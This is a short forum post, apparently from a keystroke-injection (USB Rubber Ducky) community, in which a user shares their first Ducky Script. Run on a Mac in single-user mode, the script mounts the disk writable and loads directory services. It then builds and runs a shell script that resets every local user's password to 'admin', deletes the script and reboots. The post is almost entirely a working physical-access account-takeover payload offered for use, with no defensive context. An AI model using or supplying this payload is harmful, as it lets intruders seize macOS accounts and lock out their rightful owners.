Jump to content

persona_non_grata

Members
  • Posts

    1
  • Joined

  • Last visited

Posts posted by persona_non_grata

  1. Hello all,

    This is my first ducky script. It resets all the users passwords to admin. Just run in Single User mode.

    DELAY 500
    STRING mount -uw /
    DELAY 500
    ENTER
    STRING launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.plist
    ENTER
    DELAY 500
    STRING launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist
    DELAY 500
    ENTER
    STRING launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServicesLocal.plist
    DELAY 500
    ENTER
    STRING echo '#!/bin/bash' > rstpass.sh
    ENTER
    DELAY 200
    STRING echo users="$""(""ls /Users/" "|" "grep -vw 'Shared\|Guest\|Deleted Users\|.localized')" >> rstpass.sh
    ENTER
    STRING echo arr="("'$'"users)" >> rstpass.sh
    ENTER
    STRING echo arraySize="$"{#arr[@]} >> rstpass.sh
    ENTER
    STRING echo new_password="admin" >> rstpass.sh
    ENTER
    STRING echo "for (( i=0; i<"'$'"{arraySize}; i++ ));" >> rstpass.sh
    ENTER
    STRING echo do >> rstpass.sh
    ENTER
    STRING echo /Users/"$""{arr["'$'""i"]}" >> rstpass.sh
    ENTER
    STRING echo dscl . passwd /Users/"$""{arr["'$'"i]}" "$"new_password >> rstpass.sh
    ENTER
    STRING echo done >> rstpass.sh
    DELAY 500
    ENTER
    DELAY 200
    STRING chmod +x rstpass.sh
    DELAY 500
    ENTER
    STRING ./rstpass.sh
    DELAY 200
    ENTER
    STRING rm rstpass.sh
    ENTER
    STRING reboot
    ENTER
×
×
  • Create New...